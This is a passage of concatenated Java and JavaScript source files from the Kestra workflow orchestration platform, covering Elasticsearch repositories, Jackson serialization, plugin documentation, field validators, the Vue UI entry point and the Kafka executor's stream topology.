ListUtils.emptyOnNull(flow.getTriggers())
.forEach(abstractTrigger -> triggerQueue.delete(Trigger.of(flow, abstractTrigger)));
eventPublisher.publishEvent(new CrudEvent<>(flow, CrudEventType.DELETE));
return deleted;
}
public List<String> findDistinctNamespace() {
return findDistinctNamespace(INDEX_NAME);
}
}
<|start_filename|>repository-elasticsearch/src/main/java/io/kestra/repository/elasticsearch/ElasticSearchTemplateRepository.java<|end_filename|>
package io.kestra.repository.elasticsearch;
import io.micronaut.context.event.ApplicationEventPublisher;
import io.micronaut.data.model.Pageable;
import org.elasticsearch.client.RestHighLevelClient;
import org.elasticsearch.index.query.BoolQueryBuilder;
import org.elasticsearch.index.query.QueryBuilders;
import org.elasticsearch.search.builder.SearchSourceBuilder;
import io.kestra.core.events.CrudEvent;
import io.kestra.core.events.CrudEventType;
import io.kestra.core.models.templates.Template;
import io.kestra.core.models.validations.ModelValidator;
import io.kestra.core.queues.QueueFactoryInterface;
import io.kestra.core.queues.QueueInterface;
import io.kestra.core.repositories.ArrayListTotal;
import io.kestra.core.repositories.TemplateRepositoryInterface;
import io.kestra.core.utils.ExecutorsUtils;
import java.util.List;
import java.util.Optional;
import javax.inject.Inject;
import javax.inject.Named;
import javax.inject.Singleton;
import javax.validation.ConstraintViolationException;
@Singleton
@ElasticSearchRepositoryEnabled
public class ElasticSearchTemplateRepository extends AbstractElasticSearchRepository<Template> implements TemplateRepositoryInterface {
private static final String INDEX_NAME = "templates";
private final QueueInterface<Template> templateQueue;
private ApplicationEventPublisher eventPublisher;
@Inject
public ElasticSearchTemplateRepository(
RestHighLevelClient client,
ElasticSearchIndicesService elasticSearchIndicesService,
ModelValidator modelValidator,
ExecutorsUtils executorsUtils,
@Named(QueueFactoryInterface.TEMPLATE_NAMED) QueueInterface<Template> templateQueue,
ApplicationEventPublisher eventPublisher
) {
super(client, elasticSearchIndicesService, modelValidator, executorsUtils, Template.class);
this.templateQueue = templateQueue;
this.eventPublisher = eventPublisher;
}
private static String templateId(Template template) {
return template.getId();
}
@Override
public Optional<Template> findById(String namespace, String id) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.termQuery("namespace", namespace))
.must(QueryBuilders.termQuery("id", id));
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.query(bool)
.size(1);
List<Template> query = this.query(INDEX_NAME, sourceBuilder);
return query.size() > 0 ? Optional.of(query.get(0)) : Optional.empty();
}
@Override
public List<Template> findAll() {
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.query(this.defaultFilter());
return this.scroll(INDEX_NAME, sourceBuilder);
}
@Override
public ArrayListTotal<Template> find(String query, Pageable pageable) {
return super.findQueryString(INDEX_NAME, query, pageable);
}
@Override
public List<Template> findByNamespace(String namespace) {
BoolQueryBuilder bool = this.defaultFilter()
.must(QueryBuilders.termQuery("namespace", namespace));
SearchSourceBuilder sourceBuilder = new SearchSourceBuilder()
.query(bool);
return this.scroll(INDEX_NAME, sourceBuilder);
}
public Template create(Template template) throws ConstraintViolationException {
return this.save(template, CrudEventType.CREATE);
}
public Template update(Template template, Template previous) throws ConstraintViolationException {
this
.findById(previous.getNamespace(), previous.getId())
.map(current -> current.validateUpdate(template))
.filter(Optional::isPresent)
.map(Optional::get)
.ifPresent(s -> {
throw s;
});
return this.save(template, CrudEventType.UPDATE);
}
public Template save(Template template, CrudEventType crudEventType) {
this.putRequest(INDEX_NAME, template.getId(), template);
templateQueue.emit(template);
eventPublisher.publishEvent(new CrudEvent<>(template, crudEventType));
return template;
}
@Override
public void delete(Template template) {
this.deleteRequest(INDEX_NAME, templateId(template));
eventPublisher.publishEvent(new CrudEvent<>(template, CrudEventType.DELETE));
}
public List<String> findDistinctNamespace() {
return findDistinctNamespace(INDEX_NAME);
}
}
<|start_filename|>core/src/main/java/io/kestra/core/serializers/JacksonMapper.java<|end_filename|>
package io.kestra.core.serializers;
import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import com.fasterxml.jackson.databind.type.TypeFactory;
import com.fasterxml.jackson.dataformat.ion.IonObjectMapper;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
import com.fasterxml.jackson.dataformat.yaml.YAMLGenerator;
import com.fasterxml.jackson.datatype.guava.GuavaModule;
import com.fasterxml.jackson.datatype.jdk8.Jdk8Module;
import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule;
import com.fasterxml.jackson.module.paramnames.ParameterNamesModule;
import io.kestra.core.contexts.KestraClassLoader;
import io.kestra.core.serializers.ion.IonFactory;
import io.kestra.core.serializers.ion.IonModule;
import java.util.Map;
import java.util.TimeZone;
abstract public class JacksonMapper {
private static final ObjectMapper MAPPER = JacksonMapper.configure(
new ObjectMapper()
);
public static ObjectMapper ofJson() {
return MAPPER;
}
private static final ObjectMapper YAML_MAPPER = JacksonMapper.configure(
new ObjectMapper(
new YAMLFactory()
.configure(YAMLGenerator.Feature.MINIMIZE_QUOTES, true)
.configure(YAMLGenerator.Feature.WRITE_DOC_START_MARKER, false)
.configure(YAMLGenerator.Feature.USE_NATIVE_TYPE_ID, false)
.configure(YAMLGenerator.Feature.SPLIT_LINES, false)
)
);
public static ObjectMapper ofYaml() {
return YAML_MAPPER;
}
private static final TypeReference<Map<String, Object>> TYPE_REFERENCE = new TypeReference<>() {};
public static Map<String, Object> toMap(Object object) {
return MAPPER.convertValue(object, TYPE_REFERENCE);
}
public static <T> T toMap(Object map, Class<T> cls) {
return MAPPER.convertValue(map, cls);
}
public static Map<String, Object> toMap(String json) throws JsonProcessingException {
return MAPPER.readValue(json, TYPE_REFERENCE);
}
public static <T> String log(T Object) {
try {
return YAML_MAPPER.writeValueAsString(Object);
} catch (JsonProcessingException ignored) {
return "Failed to log " + Object.getClass();
}
}
private static final ObjectMapper ION_MAPPER = JacksonMapper
.configure(
new IonObjectMapper(new IonFactory())
)
.registerModule(new IonModule())
.setSerializationInclusion(JsonInclude.Include.USE_DEFAULTS)
.setSerializationInclusion(JsonInclude.Include.ALWAYS);
public static ObjectMapper ofIon() {
return ION_MAPPER;
}
private static ObjectMapper configure(ObjectMapper mapper) {
// unit test can be not init
if (KestraClassLoader.isInit()) {
TypeFactory tf = TypeFactory.defaultInstance().withClassLoader(KestraClassLoader.instance());
mapper.setTypeFactory(tf);
}
return mapper
.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS, false)
.setSerializationInclusion(JsonInclude.Include.NON_NULL)
.setSerializationInclusion(JsonInclude.Include.NON_EMPTY)
.registerModule(new JavaTimeModule())
.registerModule(new Jdk8Module())
.registerModule(new ParameterNamesModule())
.registerModules(new GuavaModule())
.setTimeZone(TimeZone.getDefault());
}
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/streams/FlowTriggerWithExecutionTransformer.java<|end_filename|>
package io.kestra.runner.kafka.streams;
import lombok.extern.slf4j.Slf4j;
import org.apache.kafka.streams.kstream.ValueTransformer;
import org.apache.kafka.streams.processor.ProcessorContext;
import org.apache.kafka.streams.state.KeyValueStore;
import org.apache.kafka.streams.state.ValueAndTimestamp;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.triggers.multipleflows.MultipleConditionStorageInterface;
import io.kestra.core.models.triggers.multipleflows.MultipleConditionWindow;
import io.kestra.core.services.FlowService;
import io.kestra.runner.kafka.KafkaMultipleConditionStorage;
import java.util.List;
import java.util.stream.Stream;
@Slf4j
public class FlowTriggerWithExecutionTransformer implements ValueTransformer<ExecutorFlowTrigger, List<Execution>> {
private final String multipleStoreName;
private final FlowService flowService;
private KeyValueStore<String, MultipleConditionWindow> multipleStore;
private KeyValueStore<String, ValueAndTimestamp<Flow>> flowStore;
public FlowTriggerWithExecutionTransformer(String multipleStoreName, FlowService flowService) {
this.multipleStoreName = multipleStoreName;
this.flowService = flowService;
}
@Override
@SuppressWarnings("unchecked")
public void init(final ProcessorContext context) {
this.flowStore = (KeyValueStore<String, ValueAndTimestamp<Flow>>) context.getStateStore("flow");
this.multipleStore = (KeyValueStore<String, MultipleConditionWindow>) context.getStateStore(this.multipleStoreName);
}
@Override
public List<Execution> transform(final ExecutorFlowTrigger value) {
ValueAndTimestamp<Flow> flowValueAndTimestamp = this.flowStore.get(Flow.uid(value.getExecution()));
Flow executionFlow = flowValueAndTimestamp.value();
MultipleConditionStorageInterface multipleConditionStorage = new KafkaMultipleConditionStorage(this.multipleStore);
// multiple conditions storage
flowService
.multipleFlowTrigger(
Stream.of(value.getFlowHavingTrigger()),
executionFlow,
value.getExecution(),
multipleConditionStorage
)
.forEach(triggerExecutionWindow -> {
this.multipleStore.put(triggerExecutionWindow.uid(), triggerExecutionWindow);
});
List<Execution> triggeredExecutions = flowService.flowTriggerExecution(
Stream.of(value.getFlowHavingTrigger()),
value.getExecution(),
multipleConditionStorage
);
// Trigger is done, remove matching multiple condition
flowService
.multipleFlowToDelete(Stream.of(value.getFlowHavingTrigger()), multipleConditionStorage)
.forEach(r -> this.multipleStore.delete(r.uid()));
return triggeredExecutions;
}
@Override
public void close() {
}
}
<|start_filename|>core/src/main/java/io/kestra/core/docs/ClassPluginDocumentation.java<|end_filename|>
package io.kestra.core.docs;
import com.google.common.base.CaseFormat;
import io.kestra.core.plugins.RegisteredPlugin;
import lombok.*;
import org.apache.commons.lang3.ArrayUtils;
import java.util.*;
import java.util.stream.Collectors;
@AllArgsConstructor
@Getter
@EqualsAndHashCode
@ToString
@NoArgsConstructor
public class ClassPluginDocumentation<T> {
private static final JsonSchemaGenerator JSON_SCHEMA_GENERATOR = new JsonSchemaGenerator();
private String cls;
private String icon;
private String group;
private String subGroup;
private String shortName;
private String docDescription;
private String docBody;
private List<ExampleDoc> docExamples;
private Map<String, Object> defs = new TreeMap<>();
private Map<String, Object> inputs = new TreeMap<>();
private Map<String, Object> outputs = new TreeMap<>();
private Map<String, Object> propertiesSchema;
private Map<String, Object> outputsSchema;
@SuppressWarnings("unchecked")
private ClassPluginDocumentation(RegisteredPlugin plugin, Class<? extends T> cls, Class<T> baseCls) {
this.cls = cls.getName();
this.group = plugin.group();
this.icon = DocumentationGenerator.icon(plugin, cls);
if (this.group != null && cls.getPackageName().startsWith(this.group) && cls.getPackageName().length() > this.group.length()) {
this.subGroup = cls.getPackageName().substring(this.group.length() + 1);
}
this.shortName = cls.getSimpleName();
this.propertiesSchema = JSON_SCHEMA_GENERATOR.properties(baseCls, cls);
this.outputsSchema = JSON_SCHEMA_GENERATOR.outputs(baseCls, cls);
if (this.propertiesSchema.containsKey("$defs")) {
this.defs.putAll((Map<String, Object>) this.propertiesSchema.get("$defs"));
this.propertiesSchema.remove("$defs");
}
if (this.outputsSchema.containsKey("$defs")) {
this.defs.putAll((Map<String, Object>) this.outputsSchema.get("$defs"));
this.outputsSchema.remove("$defs");
}
// add $required on defs
this.defs = this.getDefs()
.entrySet()
.stream()
.map(entry -> {
Map<String, Object> value = (Map<String, Object>) entry.getValue();
value.put("properties", flatten(properties(value), required(value)));
return new AbstractMap.SimpleEntry<>(
entry.getKey(),
value
);
})
.collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue));
this.docDescription = this.propertiesSchema.containsKey("title") ? (String) this.propertiesSchema.get("title") : null;;
this.docBody = this.propertiesSchema.containsKey("description") ? (String) this.propertiesSchema.get("description") : null;
if (this.propertiesSchema.containsKey("$examples")) {
List<Map<String, Object>> examples = (List<Map<String, Object>>) this.propertiesSchema.get("$examples");
this.docExamples = examples
.stream()
.map(r -> new ExampleDoc(
(String) r.get("title"),
String.join("\n", ArrayUtils.addAll(
((Boolean) r.get("full") ? new ArrayList<String>() : Arrays.asList(
"id: \"" + CaseFormat.UPPER_CAMEL.to(CaseFormat.LOWER_UNDERSCORE, cls.getSimpleName()) + "\"",
"type: \"" + cls.getName() + "\""
)).toArray(new String[0]),
(String) r.get("code")
))
))
.collect(Collectors.toList());
}
if (this.propertiesSchema.containsKey("properties")) {
this.inputs = flatten(properties(this.propertiesSchema), required(this.propertiesSchema));
}
if (this.outputsSchema.containsKey("properties")) {
this.outputs = flatten(properties(this.outputsSchema), required(this.outputsSchema));
}
}
private static Map<String, Object> flatten(Map<String, Object> map, List<String> required) {
map.remove("type");
return flatten(map, required, null);
}
@SuppressWarnings("unchecked")
private static Map<String, Object> flatten(Map<String, Object> map, List<String> required, String parentName) {
Map<String, Object> result = new TreeMap<>();
for (Map.Entry<String, Object> current : map.entrySet()) {
Map<String, Object> finalValue = (Map<String, Object>) current.getValue();
if (required.contains(current.getKey())) {
finalValue.put("$required", true);
}
result.put(flattenKey(current.getKey(), parentName), finalValue);
if (current.getValue() instanceof Map) {
Map<String, Object> value = (Map<String, Object>) current.getValue();
if (value.containsKey("properties")) {
result.putAll(flatten(properties(value), required(value), current.getKey()));
}
}
}
return result;
}
private static String flattenKey(String current, String parent) {
return (parent != null ? parent + "." : "") + current;
}
@SuppressWarnings("unchecked")
private static Map<String, Object> properties(Map<String, Object> props) {
Map<String, Object> properties = (Map<String, Object>) props.get("properties");
return properties != null ? properties : new HashMap<>();
}
@SuppressWarnings("unchecked")
private static List<String> required(Map<String, Object> props) {
if (!props.containsKey("required")) {
return Collections.emptyList();
}
return (List<String>) props.get("required");
}
public static <T> ClassPluginDocumentation<T> of(RegisteredPlugin plugin, Class<? extends T> cls, Class<T> baseCls) {
return new ClassPluginDocumentation<>(plugin, cls, baseCls);
}
@AllArgsConstructor
@Getter
public static class ExampleDoc {
String title;
String task;
}
}
<|start_filename|>core/src/main/java/io/kestra/core/validations/ValidationFactory.java<|end_filename|>
package io.kestra.core.validations;
import com.cronutils.model.Cron;
import com.cronutils.model.CronType;
import com.cronutils.model.definition.CronDefinitionBuilder;
import com.cronutils.parser.CronParser;
import com.fasterxml.jackson.databind.ObjectMapper;
import io.micronaut.context.annotation.Factory;
import io.micronaut.validation.validator.constraints.ConstraintValidator;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import javax.inject.Singleton;
@Factory
public class ValidationFactory {
private static final CronParser CRON_PARSER = new CronParser(CronDefinitionBuilder.instanceDefinitionFor(CronType.UNIX));
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
@Singleton
ConstraintValidator<DateFormat, String> dateTimeValidator() {
return (value, annotationMetadata, context) -> {
if (value == null) {
return true; // nulls are allowed according to spec
}
try {
Date now = new Date();
SimpleDateFormat dateFormat = new SimpleDateFormat(value);
dateFormat.format(now);
} catch (Exception e) {
return false;
}
return true;
};
}
@Singleton
ConstraintValidator<CronExpression, CharSequence> cronExpressionValidator() {
return (value, annotationMetadata, context) -> {
if (value == null) {
return true;
}
try {
Cron parse = CRON_PARSER.parse(value.toString());
parse.validate();
} catch (IllegalArgumentException e) {
return false;
}
return true;
};
}
@Singleton
ConstraintValidator<JsonString, String> jsonStringValidator() {
return (value, annotationMetadata, context) -> {
if (value == null) {
return true;
}
try {
OBJECT_MAPPER.readTree(value);
} catch (IOException e) {
return false;
}
return true;
};
}
}
<|start_filename|>ui/src/main.js<|end_filename|>
import "./filters"
import "moment/locale/fr"
import "./utils/global"
import "./custom.scss"
// @TODO: move to scss
import "vue-material-design-icons/styles.css";
import App from "./App.vue"
import BootstrapVue from "bootstrap-vue"
import Vue from "vue"
import VueCompositionAPI from "@vue/composition-api"
import VueI18n from "vue-i18n"
import VueMoment from "vue-moment"
import NProgress from "vue-nprogress"
import VueRouter from "vue-router"
import VueSidebarMenu from "vue-sidebar-menu"
import Vuex from "vuex";
import VueAnalytics from "vue-analytics";
import configureHttp from "./http"
import Toast from "./utils/toast";
import {extendMoment} from "moment-range";
import Translations from "./translations.json"
import moment from "moment"
import routes from "./routes/routes"
import stores from "./stores/store"
import vSelect from "vue-select"
import VueHotkey from "v-hotkey"
import {
Chart,
CategoryScale,
LinearScale,
BarElement,
BarController,
LineElement,
LineController,
PointElement,
Tooltip,
Filler
} from "chart.js";
Chart.register(
CategoryScale,
LinearScale,
BarElement,
BarController,
LineElement,
LineController,
PointElement,
Tooltip,
Filler
);
let app = document.querySelector("#app");
if (app) {
Vue.use(VueCompositionAPI)
Vue.use(Vuex)
let store = new Vuex.Store(stores);
Vue.use(VueRouter);
let router = new VueRouter(routes);
/* eslint-disable */
if (KESTRA_GOOGLE_ANALYTICS !== null) {
Vue.use(VueAnalytics, {
id: KESTRA_GOOGLE_ANALYTICS,
router
});
}
/* eslint-enable */
Vue.use(VueI18n);
let locale = localStorage.getItem("lang") || "en";
let i18n = new VueI18n({
locale: locale,
messages: Translations
});
moment.locale(locale)
const nprogress = new NProgress()
Vue.use(NProgress, {
latencyThreshold: 50,
})
Vue.use(VueHotkey)
Vue.use(VueMoment, {moment: extendMoment(moment)});
Vue.use(VueSidebarMenu);
Vue.use(BootstrapVue);
Vue.use(Toast)
Vue.component("VSelect", vSelect);
Vue.config.productionTip = false;
configureHttp(() => {
new Vue({
render: h => h(App),
router: router,
store,
i18n,
nprogress
}).$mount(app)
}, store, nprogress);
}
<|start_filename|>runner-kafka/src/main/java/io/kestra/runner/kafka/KafkaExecutor.java<|end_filename|>
package io.kestra.runner.kafka;
import io.kestra.core.metrics.MetricRegistry;
import io.kestra.core.models.executions.Execution;
import io.kestra.core.models.executions.ExecutionKilled;
import io.kestra.core.models.executions.LogEntry;
import io.kestra.core.models.executions.TaskRun;
import io.kestra.core.models.flows.Flow;
import io.kestra.core.models.flows.State;
import io.kestra.core.models.templates.Template;
import io.kestra.core.models.triggers.Trigger;
import io.kestra.core.models.triggers.multipleflows.MultipleConditionWindow;
import io.kestra.core.queues.QueueService;
import io.kestra.core.runners.*;
import io.kestra.core.services.ConditionService;
import io.kestra.core.services.FlowService;
import io.kestra.runner.kafka.serializers.JsonSerde;
import io.kestra.runner.kafka.services.KafkaAdminService;
import io.kestra.runner.kafka.services.KafkaStreamService;
import io.kestra.runner.kafka.services.KafkaStreamSourceService;
import io.kestra.runner.kafka.services.KafkaStreamsBuilder;
import io.kestra.runner.kafka.streams.*;
import io.micronaut.context.ApplicationContext;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import org.apache.commons.lang3.tuple.Pair;
import org.apache.kafka.common.serialization.Serdes;
import org.apache.kafka.common.utils.Bytes;
import org.apache.kafka.streams.*;
import org.apache.kafka.streams.kstream.*;
import org.apache.kafka.streams.state.KeyValueStore;
import org.apache.kafka.streams.state.QueryableStoreTypes;
import org.apache.kafka.streams.state.Stores;
import org.slf4j.event.Level;
import java.io.Closeable;
import java.io.IOException;
import java.time.Duration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.stream.Collectors;
import javax.inject.Inject;
import javax.inject.Singleton;
@KafkaQueueEnabled
@Singleton
public class KafkaExecutor extends AbstractExecutor implements Closeable {
private static final String EXECUTOR_STATE_STORE_NAME = "executor";
private static final String WORKERTASK_DEDUPLICATION_STATE_STORE_NAME = "workertask_deduplication";
private static final String TRIGGER_DEDUPLICATION_STATE_STORE_NAME = "trigger_deduplication";
public static final String TRIGGER_MULTIPLE_STATE_STORE_NAME = "trigger_multiplecondition";
private static final String NEXTS_DEDUPLICATION_STATE_STORE_NAME = "next_deduplication";
public static final String WORKER_RUNNING_STATE_STORE_NAME = "worker_running";
public static final String WORKERINSTANCE_STATE_STORE_NAME = "worker_instance";
public static final String TOPIC_EXECUTOR_WORKERINSTANCE = "executorworkerinstance";
protected ApplicationContext applicationContext;
protected KafkaStreamService kafkaStreamService;
protected KafkaAdminService kafkaAdminService;
protected FlowService flowService;
protected KafkaStreamSourceService kafkaStreamSourceService;
protected QueueService queueService;
protected KafkaStreamService.Stream resultStream;
@Inject
public KafkaExecutor(
ApplicationContext applicationContext,
RunContextFactory runContextFactory,
KafkaStreamService kafkaStreamService,
KafkaAdminService kafkaAdminService,
MetricRegistry metricRegistry,
FlowService flowService,
ConditionService conditionService,
KafkaStreamSourceService kafkaStreamSourceService,
QueueService queueService
) {
super(runContextFactory, metricRegistry, conditionService);
this.applicationContext = applicationContext;
this.kafkaStreamService = kafkaStreamService;
this.kafkaAdminService = kafkaAdminService;
this.flowService = flowService;
this.kafkaStreamSourceService = kafkaStreamSourceService;
this.queueService = queueService;
}
public StreamsBuilder topology() {
StreamsBuilder builder = new KafkaStreamsBuilder();
// executor
builder.addStateStore(Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(EXECUTOR_STATE_STORE_NAME),
Serdes.String(),
JsonSerde.of(Executor.class)
));
// WorkerTask deduplication
builder.addStateStore(Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(WORKERTASK_DEDUPLICATION_STATE_STORE_NAME),
Serdes.String(),
Serdes.String()
));
// next deduplication
builder.addStateStore(Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(NEXTS_DEDUPLICATION_STATE_STORE_NAME),
Serdes.String(),
JsonSerde.of(ExecutorNextTransformer.Store.class)
));
// trigger deduplication
builder.addStateStore(Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(TRIGGER_DEDUPLICATION_STATE_STORE_NAME),
Serdes.String(),
Serdes.String()
));
// declare common stream
KStream<String, WorkerTaskResult> workerTaskResultKStream = this.workerTaskResultKStream(builder);
KStream<String, Executor> executorKStream = this.executorKStream(builder);
// join with killed
KStream<String, ExecutionKilled> executionKilledKStream = this.executionKilledKStream(builder);
KStream<String, Executor> executionWithKilled = this.joinExecutionKilled(executionKilledKStream, executorKStream);
// join with WorkerResult
KStream<String, Executor> executionKStream = this.joinWorkerResult(workerTaskResultKStream, executionWithKilled);
// handle state on execution
GlobalKTable<String, Flow> flowKTable = kafkaStreamSourceService.flowGlobalKTable(builder);
KStream<String, Executor> stream = kafkaStreamSourceService.executorWithFlow(flowKTable, executionKStream, true);
stream = this.handleExecutor(stream);
// save execution
this.toExecution(stream);
this.toWorkerTask(stream);
this.toWorkerTaskResult(stream);
// trigger
builder.addStateStore(
Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(TRIGGER_MULTIPLE_STATE_STORE_NAME),
Serdes.String(),
JsonSerde.of(MultipleConditionWindow.class)
)
);
KStream<String, ExecutorFlowTrigger> flowWithTriggerStream = this.flowWithTriggerStream(builder);
this.toExecutorFlowTriggerTopic(stream);
this.handleFlowTrigger(flowWithTriggerStream);
// task Flow
KTable<String, WorkerTaskExecution> workerTaskExecutionKTable = this.workerTaskExecutionStream(builder);
KStream<String, WorkerTaskExecution> workerTaskExecutionKStream = this.deduplicateWorkerTaskExecution(stream);
this.toWorkerTaskExecution(workerTaskExecutionKStream);
this.workerTaskExecutionToExecution(workerTaskExecutionKStream);
this.handleWorkerTaskExecution(workerTaskExecutionKTable, stream);
// purge at end
this.purgeExecutor(stream);
// global KTable
this.templateKTable(builder);
// handle worker running
builder.addGlobalStore(
Stores.keyValueStoreBuilder(
Stores.persistentKeyValueStore(WORKERINSTANCE_STATE_STORE_NAME),
Serdes.String(),
JsonSerde.of(WorkerInstance.class)
),
kafkaAdminService.getTopicName(TOPIC_EXECUTOR_WORKERINSTANCE),
Consumed.with(Serdes.String(), JsonSerde.of(WorkerInstance.class)).withName("GlobalStore.ExecutorWorkerInstace"),
() -> new GlobalStateProcessor<>(WORKERINSTANCE_STATE_STORE_NAME)
);
GlobalKTable<String, WorkerTaskRunning> workerTaskRunningKTable = this.workerTaskRunningKStream(builder);
KStream<String, WorkerInstance> workerInstanceKStream = this.workerInstanceKStream(builder);
this.purgeWorkerRunning(workerTaskResultKStream);
this.detectNewWorker(workerInstanceKStream, workerTaskRunningKTable);
return builder;
}
public KStream<String, Executor> executorKStream(StreamsBuilder builder) {
KStream<String, Executor> result = builder
.stream(
kafkaAdminService.getTopicName(Execution.class),
Consumed.with(Serdes.String(), JsonSerde.of(Execution.class)).withName("Executor.fromExecution")
)
.filter((key, value) -> value != null, Named.as("Executor.filterNotNull"))
// don't remove ValueTransformerWithKey<String, Execution, Executor> generic or it crash java compiler
// https://bugs.openjdk.java.net/browse/JDK-8217234
.transformValues(
() -> new ExecutorFromExecutionTransformer(EXECUTOR_STATE_STORE_NAME),
Named.as("Executor.toExecutor"),
EXECUTOR_STATE_STORE_NAME
);
// logs
KafkaStreamSourceService.logIfEnabled(
log,
result,
(key, value) -> log(log, true, value),
"ExecutionIn"
);
return result;
}
private GlobalKTable<String, Template> templateKTable(StreamsBuilder builder) {
return builder
.globalTable(
kafkaAdminService.getTopicName(Template.class),
Consumed.with(Serdes.String(), JsonSerde.of(Template.class)).withName("GlobalKTable.Template"),
Materialized.<String, Template, KeyValueStore<Bytes, byte[]>>as("template")
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(Template.class))
);
}
private KStream<String, ExecutionKilled> executionKilledKStream(StreamsBuilder builder) {
return builder
.stream(
kafkaAdminService.getTopicName(ExecutionKilled.class),
Consumed.with(Serdes.String(), JsonSerde.of(ExecutionKilled.class)).withName("KTable.ExecutionKilled")
);
}
private GlobalKTable<String, WorkerTaskRunning> workerTaskRunningKStream(StreamsBuilder builder) {
return builder
.globalTable(
kafkaAdminService.getTopicName(WorkerTaskRunning.class),
Consumed.with(Serdes.String(), JsonSerde.of(WorkerTaskRunning.class)).withName("GlobalKTable.WorkerTaskRunning"),
Materialized.<String, WorkerTaskRunning, KeyValueStore<Bytes, byte[]>>as(WORKER_RUNNING_STATE_STORE_NAME)
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(WorkerTaskRunning.class))
);
}
private KStream<String, WorkerInstance> workerInstanceKStream(StreamsBuilder builder) {
return builder
.stream(
kafkaAdminService.getTopicName(WorkerInstance.class),
Consumed.with(Serdes.String(), JsonSerde.of(WorkerInstance.class)).withName("KStream.WorkerInstance")
);
}
private KStream<String, ExecutorFlowTrigger> flowWithTriggerStream(StreamsBuilder builder) {
return builder
.stream(
kafkaAdminService.getTopicName(ExecutorFlowTrigger.class),
Consumed.with(Serdes.String(), JsonSerde.of(ExecutorFlowTrigger.class)).withName("KStream.ExecutorFlowTrigger")
)
.filter((key, value) -> value != null, Named.as("Flowwithtriggerstream.filterNotNull"));
}
private KStream<String, Executor> joinExecutionKilled(KStream<String, ExecutionKilled> executionKilledKStream, KStream<String, Executor> executorKStream) {
return executorKStream
.merge(
executionKilledKStream
.transformValues(
() -> new ExecutorKilledJoinerTransformer(
EXECUTOR_STATE_STORE_NAME
),
Named.as("JoinExecutionKilled.transformValues"),
EXECUTOR_STATE_STORE_NAME
)
.filter((key, value) -> value != null, Named.as("JoinExecutionKilled.filterNotNull")),
Named.as("JoinExecutionKilled.merge")
);
}
private KStream<String, WorkerTaskResult> workerTaskResultKStream(StreamsBuilder builder) {
return builder
.stream(
kafkaAdminService.getTopicName(WorkerTaskResult.class),
Consumed.with(Serdes.String(), JsonSerde.of(WorkerTaskResult.class)).withName("KStream.WorkerTaskResult")
)
.filter((key, value) -> value != null, Named.as("WorkerTaskResultKStream.filterNotNull"));
}
private KStream<String, Executor> joinWorkerResult(KStream<String, WorkerTaskResult> workerTaskResultKstream, KStream<String, Executor> executorKStream) {
return executorKStream
.merge(
workerTaskResultKstream
.selectKey((key, value) -> value.getTaskRun().getExecutionId(), Named.as("JoinWorkerResult.selectKey"))
.mapValues(
(key, value) -> new Executor(value),
Named.as("JoinWorkerResult.WorkerTaskResultMap")
)
.repartition(
Repartitioned.<String, Executor>as("workertaskjoined")
.withKeySerde(Serdes.String())
.withValueSerde(JsonSerde.of(Executor.class))
),
Named.as("JoinWorkerResult.merge")
)
.transformValues(
() -> new ExecutorJoinerTransformer(
EXECUTOR_STATE_STORE_NAME,
this.metricRegistry
),
Named.as("JoinWorkerResult.transformValues"),
EXECUTOR_STATE_STORE_NAME
)
.filter(
(key, value) -> value != null,
Named.as("JoinWorkerResult.notNullFilter")
);
}
private KStream<String, Executor> handleExecutor(KStream<String, Executor> stream) {
return stream
.transformValues(
() -> new ExecutorNextTransformer(
NEXTS_DEDUPLICATION_STATE_STORE_NAME,
this
),
Named.as("HandleExecutor.transformValues"),
NEXTS_DEDUPLICATION_STATE_STORE_NAME
);
}
private void purgeExecutor(KStream<String, Executor> stream) {
KStream<String, Executor> terminatedWithKilled = stream
.filter(
(key, value) -> conditionService.isTerminatedWithListeners(value.getFlow(), value.getExecution()),
Named.as("PurgeExecutor.filterTerminated")
);
// we don't purge killed execution in order to have feedback about child running tasks
// this can be killed lately (after the executor kill the execution), but we want to keep
// feedback about the actual state (killed or not)
// @TODO: this can lead to infinite state store for most executor topic
KStream<String, Executor> terminated = terminatedWithKilled.filter(
(key, value) -> value.getExecution().getState().getCurrent() != State.Type.KILLED,
Named.as("PurgeExecutor.filterKilledExecution")
);
// clean up executor
terminated
.mapValues(
(readOnlyKey, value) -> (Execution) null,
Named.as("PurgeExecutor.executionToNull")
)
.to(
kafkaAdminService.getTopicName(Executor.class),
Produced.with(Serdes.String(), JsonSerde.of(Execution.class)).withName("PurgeExecutor.toExecutor")
);
// flatMap taskRun
KStream<String, TaskRun> taskRunKStream = terminated
.filter(
(key, value) -> value.getExecution().getTaskRunList() != null,
Named.as("PurgeExecutor.notNullTaskRunList")
)
.flatMapValues(
(readOnlyKey, value) -> value.getExecution().getTaskRunList(),
Named.as("PurgeExecutor.flatMapTaskRunList")
);
// clean up workerTaskResult
taskRunKStream
.map(
(readOnlyKey, value) -> new KeyValue<>(
value.getId(),
(WorkerTaskResult) null
),
Named.as("PurgeExecutor.workerTaskResultToNull")
)
.to(
kafkaAdminService.getTopicName(WorkerTaskResult.class),
